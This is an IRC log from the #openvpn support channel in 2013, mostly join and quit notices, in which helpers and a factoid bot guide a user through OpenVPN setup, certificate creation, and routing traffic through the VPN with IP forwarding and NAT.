15:40 -!- cjs226 [~cjs226@adsl-68-253-132-23.dsl.emhril.ameritech.net] has quit [Ping timeout: 245 seconds]
15:44 -!- avb [~avb@190.122.126.194] has joined #openvpn
15:44 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:48 -!- cjs226 [~cjs226@adsl-68-253-132-23.dsl.emhril.ameritech.net] has joined #openvpn
15:48 -!- cjs226 [~cjs226@adsl-68-253-132-23.dsl.emhril.ameritech.net] has quit [Max SendQ exceeded]
15:51 -!- cjs226 [~cjs226@adsl-68-253-132-23.dsl.emhril.ameritech.net] has joined #openvpn
16:10 -!- cjs226 [~cjs226@adsl-68-253-132-23.dsl.emhril.ameritech.net] has quit [Quit: cjs226]
16:11 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
16:14 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
16:14 -!- mode/#openvpn [+o krzee] by ChanServ
16:18 -!- ele__ [~maarten@pinky.elexer.com] has joined #openvpn
16:19 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 264 seconds]
16:20 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
16:20 -!- kirin` [telex@gateway/shell/anapnea.net/x-nhxlvokknrqozmez] has quit [Ping timeout: 264 seconds]
16:20 -!- NChief [~nchief@unaffiliated/nchief] has quit [Ping timeout: 264 seconds]
16:20 -!- ele [~maarten@pinky.elexer.com] has quit [Ping timeout: 264 seconds]
16:20 -!- defswork [~andy@141.0.50.105] has joined #openvpn
16:20 -!- NChief [~nchief@unaffiliated/nchief] has joined #openvpn
16:20 -!- kirin` [telex@gateway/shell/anapnea.net/x-pecdmgnokoevswns] has joined #openvpn
16:21 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
16:40 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has joined #openvpn
16:41 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has quit [Client Quit]
16:47 -!- Denial [Denial@90.202.5.141] has quit []
16:49 -!- Muffins [~nanderson@69.146.233.50] has quit [Read error: Connection reset by peer]
16:52 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
16:53 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has left #openvpn []
16:56 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
17:17 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:21 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
17:31 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
17:37 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
17:46 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
17:47 -!- JSharpe [~JSharpe@90.205.250.10] has quit [Ping timeout: 245 seconds]
17:49 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
18:05 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
18:06 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Read error: Connection reset by peer]
18:06 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
18:07 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
18:13 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Ping timeout: 248 seconds]
18:20 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
18:22 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:27 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
18:32 -!- locojay [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has joined #openvpn
18:33 < locojay> hi i have 2 oas server. Connecting 2 each one individually works fine. Unfortunattly when connecting 2 boath my client loses internet connection . any idea's?
18:35 -!- tharkun [~0@187.188.94.182] has quit [Changing host]
18:35 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
18:40 -!- mchou_ [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
18:47 <@EugeneKay> !as
18:47 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
18:47 -!- master_of_master [~master_of@p4FF249D5.dip0.t-ipconnect.de] has joined #openvpn
18:50 -!- locojay [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has quit [Ping timeout: 264 seconds]
18:51 -!- master_o1_master [~master_of@p4FF24979.dip0.t-ipconnect.de] has quit [Ping timeout: 256 seconds]
18:51 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:53 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
18:54 -!- klein [~klein@187.85.182.246] has joined #openvpn
18:54 -!- klein [~klein@187.85.182.246] has quit [Changing host]
18:54 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
19:17 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
19:23 -!- tharkun [~0@187.188.94.182] has joined #openvpn
19:25 -!- locojay [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has joined #openvpn
19:27 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
19:32 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
19:32 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
19:33 -!- tharkun [~0@187.188.94.182] has joined #openvpn
19:35 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
19:56 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
20:00 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
20:01 -!- locojay [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has quit [Ping timeout: 264 seconds]
20:01 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
20:02 -!- locojay [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has joined #openvpn
20:03 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
20:04 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
20:06 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 264 seconds]
20:06 -!- michaelhart_ is now known as michaelhart
20:10 -!- tharkun [~0@187.188.94.182] has joined #openvpn
20:12 -!- Sazpaimon [wat@96.227.217.235] has joined #openvpn
20:12 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Ping timeout: 240 seconds]
20:14 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
20:15 -!- Sazpaimon_ [wat@unaffiliated/Sazpaimon] has quit [Ping timeout: 264 seconds]
20:18 -!- Doctorde [~nicolas@190.19.0.180] has joined #openvpn
20:19 < Doctorde> anybody?
20:20 < Dar1us> ask don't ask to ask
20:20 < Dar1us>     ^- ,
20:20 -!- tharkun [~0@187.188.94.182] has joined #openvpn
20:22 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
20:22 < Doctorde> so I don't know how to create the certificates for the client to connect
20:22 < Doctorde> the server didn't ask me for any certificates
20:22 < Dar1us> ah never done client side cert auth myself
20:22 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
20:22 < Dar1us> I wasn't eve aware it was possible
20:23 < Doctorde> i tried connecting without cert but it failed
20:23 < Dar1us> Doctorde: post your config
20:25 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
20:25 < Doctorde> http://pastebin.com/FyEh3DhE
20:26 < Doctorde> i got it from a website
20:26 < Doctorde> as a sample config file
20:27 -!- tharkun [~0@187.188.94.182] has joined #openvpn
20:28 < Dar1us> so.. why do you have a bunch of stuff commented out?
20:31 < Doctorde> it came like that, haven't modified yet
20:31 < Dar1us> that seems odd
20:32 < Dar1us> also that is set for password auth
20:32 < Dar1us> since it has auth-user-pass
20:34 <+pekster> !provider
20:34 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
20:34 <+pekster> If you can't show us the server-side of the connection, we have no clue how it's set up. I suggest you talk to the people who know
20:36 <+pekster> And if it came with "xx.xx.xx.xx" as your remote line, you've got larger issues anyway since "xx" isn't a valid TLD
20:37 < Doctorde> i just set it like that
20:37 <+pekster> Yes, I know
20:37 <+pekster> !topsecret
20:37 <@vpnHelper> "topsecret" is if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust.
20:37 <+pekster> See also, !provider you got above
20:37 -!- chiiph_ [~chiiph@unaffiliated/chiiph] has quit [Read error: Connection reset by peer]
20:37 -!- chiiph [~chiiph@unaffiliated/chiiph] has joined #openvpn
20:38 < Doctorde> the thing is, there's noone that knows
20:38 < Dar1us> so spill the beans
20:38 < Dar1us> or start googling and stop asking us :)
20:38 <+pekster> If there's "no one" that knows, then why are you using a service that's apparently unsupported by the owners? That's very odd
20:38 < Doctorde> I just grabbed a server I have and want to make a vpn
20:38 <+pekster> This is *your* server?
20:38 < Dar1us> Doctorde: so you control both ends?
20:38 < Doctorde> yes
20:39 < Doctorde> yes
20:39 < Dar1us> if so post both configs!
20:39 < Dar1us> sheesh
20:39 < Dar1us> we aren't mind readers
20:39 <+pekster> Doctorde: You probably want to start with the howto then:
20:39 <+pekster> !howto
20:39 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
20:39 < Doctorde> ok, let's see
20:39 <+pekster> Doctorde: The howto will show you how to set up both ends of the connection; you need to create your config on both ends of your connection before OpenVPN does anything useful
20:40 < Doctorde> but the server part was only download the openvpn package, should I just re write the config file?
20:41 <+pekster> You can use the sample shown in the !howto as a starting point if you'd like
20:41 <+pekster> It's rich with comments that explain what is going on, and combined with the rest of the howto you should be guided through a functioning setup
20:41 < Doctorde> thanks
20:42 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
20:42 <+pekster> If you get stuck you'll be better off asking a more specific question based on what you learned; the online resources should be more than enough to get you started, or at least get you to the point of asking a more targeted question based on your goal
20:43 < Doctorde> what I don't understand is that how I said what I downloaded from the site is only a package, no loose binaries
20:43 <+pekster> I'm not sure what you downloaded:
20:43 <+pekster> !download
20:43 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
20:43 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
20:43 < Doctorde> I saw someone that there are binaries to create the CA
20:43 <+pekster> !easyrsa
20:43 <@vpnHelper> "easyrsa" is "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa
20:44 <+pekster> Easy-RSA is also explained in the How-To (which is why I continue to suggest you read it)
20:44 < Doctorde> thanks again
20:45 < Doctorde> just FYI this is what I downloaded http://openvpn.net/index.php/access-server/download-openvpn-as-sw.html
20:45 <@vpnHelper> Title: Access Server Software Packages (at openvpn.net)
20:45 <+pekster> That is not openvpn
20:46 < Doctorde> I just followed the site
20:46 < Doctorde> it's under VPN solutions
20:46 <+pekster> Yes, and it's an unfortinuate choice by the maintainers of the homepage
20:47 <+pekster> If you intended to download the GPL-product, see the links under !download
20:47 -!- tharkun [~0@187.188.94.182] has joined #openvpn
20:47 < Doctorde> I want something simple that just works
20:47 <+pekster> If you actually wanted the non-free commercial package (and are willing to work within its EULA) you should direct support issues to the commercial arm that provides the support
20:47 <+pekster> !as
20:47 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
20:48 < Doctorde> I don't have any problems with the server, the client is what I don't get
20:48 < Doctorde> but am reading
20:49 <+pekster> If you're using the AS product, the GPL howto won't be of much use to you, nor will this channel for support
20:49 < Doctorde> !download
20:49 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
20:49 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
20:49 <+pekster> You need to make a choice: either 1) use the AS product and ask them for help if you're stuck or 2) use the GPL server *and* client as the how-to walks you though
20:50 < Doctorde> alright
20:51 -!- locojay1 [~locojay@ec2-54-208-92-67.compute-1.amazonaws.com] has joined #openvpn
20:52 -!- locojay [~locojay@pool-74-108-111-182.nycmny.fios.verizon.net] has quit [Ping timeout: 240 seconds]
20:54 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
20:56 < Linmu> quit
20:56 < Linmu> sorry typo
20:57 -!- Linmu [~Linmu@203.70.194.104] has quit [Quit: leaving]
20:59 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
20:59 -!- tharkun [~0@187.188.94.182] has joined #openvpn
21:03 -!- locojay1 [~locojay@ec2-54-208-92-67.compute-1.amazonaws.com] has quit [Quit: WeeChat 0.4.1]
21:04 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:06 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:07 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
21:07 -!- tharkun [~0@187.188.94.182] has joined #openvpn
21:13 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
21:19 -!- tharkun [~0@187.188.94.182] has joined #openvpn
21:25 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
21:30 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
21:36 -!- tharkun [~0@187.188.94.182] has joined #openvpn
21:46 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
21:49 -!- Hagabard [~hagabard@66-188-207-39.dhcp.roch.mn.charter.com] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:04 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
22:10 -!- tharkun [~0@187.188.94.182] has joined #openvpn
22:12 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
22:14 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
22:18 -!- tharkun [~0@187.188.94.182] has joined #openvpn
22:32 -!- lamba [~lamba@unaffiliated/lamba] has left #openvpn []
22:34 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
22:37 -!- Sazpaimon_ [~wat@96.227.217.235] has joined #openvpn
22:39 -!- Sazpaimon [wat@96.227.217.235] has quit [Ping timeout: 252 seconds]
22:40 -!- tharkun [~0@187.188.94.182] has joined #openvpn
22:41 -!- Sazpaimon [~wat@96.227.217.235] has joined #openvpn
22:43 -!- Sazpaimon_ [~wat@96.227.217.235] has quit [Ping timeout: 240 seconds]
22:45 -!- Sazpaimon_ [~wat@96.227.217.235] has joined #openvpn
22:46 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
22:48 -!- Sazpaimon [~wat@96.227.217.235] has quit [Ping timeout: 248 seconds]
22:48 -!- Sazpaimon [~wat@96.227.217.235] has joined #openvpn
22:51 -!- Sazpaimon_ [~wat@96.227.217.235] has quit [Ping timeout: 264 seconds]
22:51 -!- tharkun [~0@187.188.94.182] has joined #openvpn
22:56 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
22:57 -!- tharkun [~0@187.188.94.182] has joined #openvpn
22:57 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
23:02 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
23:05 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
23:11 -!- tharkun [~0@187.188.94.182] has joined #openvpn
23:14 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
23:15 -!- Sazpaimon [~wat@96.227.217.235] has quit [Ping timeout: 245 seconds]
23:16 -!- Sazpaimon [~wat@96.227.217.235] has joined #openvpn
23:16 -!- tharkun [~0@187.188.94.182] has joined #openvpn
23:24 < Doctorde> well now I have a question
23:25 < Doctorde> pekster, are you still there?
23:28 < Doctorde> well I have a successful connection between client and server and yet http trafic seems to be going outside of the vpn
23:29 <+pekster> !redirect
23:29 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
23:29 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
23:32 < Doctorde> !def1
23:32 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
23:35 < Doctorde> !ipforward
23:35 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
23:35 < Doctorde> !linipforward
23:35 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
23:35 < Doctorde> !linipforward
23:35 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
23:37 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
23:45 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
23:45 -!- tharkun [~0@187.188.94.182] has joined #openvpn
23:50 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
23:51 < Doctorde> it seems i'm having troubles with ip forwarding
23:51 < Doctorde> i enabled it on the server
23:51 < Doctorde> but nothing happens
23:52 < Doctorde> i can ping the server but not 8.8.8.8
23:53 <+pekster> if `sysctl net.ipv4.ip_forwarding` returns 1, then it's enabled and your problem lies elsewhere. There's an entire flowchart to determine what/where
23:53 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ejxeiefqowgfyxmv] has joined #openvpn
23:56 -!- tharkun [~0@187.188.94.182] has joined #openvpn
23:58 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
23:58 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit [Ping timeout: 264 seconds]
--- Day changed Tue Jul 30 2013
00:02 -!- Sazpaimon_ [~wat@96.227.217.235] has joined #openvpn
00:03 -!- tharkun [~0@187.188.94.182] has joined #openvpn
00:04 -!- Sazpaimon [~wat@96.227.217.235] has quit [Ping timeout: 248 seconds]
00:05 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
00:08 -!- tharkun [~0@187.188.94.182] has joined #openvpn
00:14 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
00:14 -!- tharkun [~0@187.188.94.182] has joined #openvpn
00:15 < Doctorde> !nat
00:15 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
00:16 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
00:21 -!- tharkun [~0@187.188.94.182] has joined #openvpn
00:29 < Doctorde> !linnat
00:29 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
00:31 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:40 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
00:46 -!- tharkun [~0@187.188.94.182] has joined #openvpn
00:47 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
00:53 -!- tharkun [~0@187.188.94.182] has joined #openvpn
01:02 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
01:08 -!- tharkun [~0@187.188.94.182] has joined #openvpn
01:09 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ejxeiefqowgfyxmv] has quit [Ping timeout: 248 seconds]
01:10 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
01:10 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-udlgwqqzhbomjwsm] has joined #openvpn
01:13 -!- avb [~avb@190.122.126.194] has quit [Ping timeout: 245 seconds]
01:14 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 264 seconds]
01:15 -!- tharkun [~0@187.188.94.182] has joined #openvpn
01:15 -!- Devastatr [~devas@177.18.196.109] has joined #openvpn
01:16 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
01:17 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 248 seconds]
01:18 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
01:20 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
01:26 -!- tharkun [~0@187.188.94.182] has joined #openvpn
01:27 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
01:31 -!- tharkun [~0@187.188.94.182] has joined #openvpn
01:34 -!- JAVACODER [~JAVACODER@2.190.38.236] has joined #openvpn
01:37 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:37 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:37 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:38 -!- Doctorde [~nicolas@190.19.0.180] has quit [Quit: Leaving]
01:46 -!- avb [~avb@190.122.126.194] has joined #openvpn
01:50 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
01:55 -!- tharkun [~0@187.188.94.182] has joined #openvpn
02:00 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
02:06 -!- tharkun [~0@187.188.94.182] has joined #openvpn
02:10 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
02:11 -!- tharkun [~0@187.188.94.182] has joined #openvpn
02:22 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
02:27 -!- tharkun [~0@187.188.94.182] has joined #openvpn
02:29 -!- suprMan` [~clark_ken@109.63.110.144] has joined #openvpn
02:33 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-udlgwqqzhbomjwsm] has quit [Ping timeout: 248 seconds]
02:35 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-qbwfgcmgogtjwzzb] has joined #openvpn
02:37 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
02:39 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
02:43 -!- tharkun [~0@187.188.94.182] has joined #openvpn
02:55 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:58 -!- ade_b [~Ade@redhat/adeb] has quit [Client Quit]
02:59 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
02:59 -!- tharkun [~0@187.188.94.182] has joined #openvpn
03:07 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
03:08 -!- tharkun [~0@187.188.94.182] has joined #openvpn
03:11 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
03:12 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
03:20 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
03:20 -!- tharkun [~0@187.188.94.182] has joined #openvpn
03:34 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
03:40 -!- tharkun [~0@187.188.94.182] has joined #openvpn
03:44 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:48 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
03:48 -!- Denial [Denial@90.202.5.141] has joined #openvpn
03:59 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
03:59 -!- tharkun [~0@187.188.94.182] has joined #openvpn
04:10 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
04:10 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
04:10 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
04:16 -!- tharkun [~0@187.188.94.182] has joined #openvpn
04:19 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
04:21 -!- tharkun [~0@187.188.94.182] has joined #openvpn
04:24 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
04:29 -!- tharkun [~0@187.188.94.182] has joined #openvpn
04:39 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
04:39 -!- tharkun [~0@187.188.94.182] has joined #openvpn
04:49 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
04:49 -!- tharkun [~0@187.188.94.182] has joined #openvpn
04:50 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 245 seconds]
04:51 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
04:55 -!- mattock_afk is now known as mattock
04:57 -!- tharkun [~0@187.188.94.182] has joined #openvpn
04:59 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
05:05 -!- tharkun [~0@187.188.94.182] has joined #openvpn
05:08 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
05:09 -!- Denial [Denial@90.202.5.141] has quit []
05:13 -!- tharkun [~0@187.188.94.182] has joined #openvpn
05:14 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
05:24 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
05:24 -!- tharkun [~0@187.188.94.182] has joined #openvpn
05:26 -!- Denial [Denial@90.202.5.141] has joined #openvpn
05:27 -!- avb [~avb@190.122.126.194] has quit [Read error: Connection reset by peer]
05:29 -!- avb [~avb@190.122.126.194] has joined #openvpn
05:44 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
05:49 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
05:50 -!- tharkun [~0@187.188.94.182] has joined #openvpn
05:50 -!- Talim [eden@199.254.238.157] has joined #openvpn
05:51 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
05:52 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:54 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
05:59 -!- tharkun [~0@187.188.94.182] has joined #openvpn
06:00 -!- Devastatr [~devas@177.18.196.109] has quit [Changing host]
06:00 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
06:00 -!- Devastatr is now known as Devastator
06:02 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
06:02 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-qbwfgcmgogtjwzzb] has quit [Ping timeout: 264 seconds]
06:08 -!- tharkun [~0@187.188.94.182] has joined #openvpn
06:09 -!- suprMan` [~clark_ken@109.63.110.144] has quit [Ping timeout: 240 seconds]
06:13 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
06:13 -!- tharkun [~0@187.188.94.182] has joined #openvpn
06:16 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
06:21 -!- tharkun [~0@187.188.94.182] has joined #openvpn
06:32 -!- Talim [eden@199.254.238.157] has quit [Ping timeout: 276 seconds]
